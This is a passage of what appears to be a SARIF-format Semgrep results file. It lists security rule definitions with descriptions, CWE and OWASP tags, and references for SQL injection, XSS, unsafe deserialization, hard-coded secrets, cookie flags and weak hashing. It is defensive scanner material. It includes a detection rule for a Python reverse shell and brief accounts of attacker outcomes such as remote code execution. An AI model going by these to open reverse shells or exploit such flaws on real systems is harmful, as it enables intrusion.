[https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags](https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags)\n","text":"Ensure that the expiration date is set on all keys"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"help":{"markdown":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"helpUri":"https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","id":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","name":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","properties":{"precision":"very-high","tags":["CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","id":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","name":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string","id":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","name":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string.formatted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","id":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","name":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","id":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","name":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","id":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","name":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli","id":"java.spring.security.jdo-sqli.jdo-sqli","name":"java.spring.security.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"help":{"markdown":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging)\n - [https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html](https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html)\n","text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","id":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","name":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","id":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","name":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint","id":"rust.hyper.sql.diesel-taint.diesel-taint","name":"rust.hyper.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy","id":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","name":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-numpy.pickles-in-numpy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","id":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","name":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"help":{"markdown":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection","id":"java.lang.security.audit.ldap-injection.ldap-injection","name":"java.lang.security.audit.ldap-injection.ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-injection.ldap-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","id":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","name":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","id":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","name":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"help":{"markdown":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell)\n - [https://cwe.mitre.org/data/definitions/553.html](https://cwe.mitre.org/data/definitions/553.html)\n","text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell","id":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","name":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","properties":{"precision":"very-high","tags":["CWE-553: Command Shell in Externally Accessible Directory","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.python-reverse-shell.python-reverse-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"help":{"markdown":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function","id":"python.lang.security.insecure-hash-function.insecure-hash-function","name":"python.lang.security.insecure-hash-function.insecure-hash-function","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-function.insecure-hash-function"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","id":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","name":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM 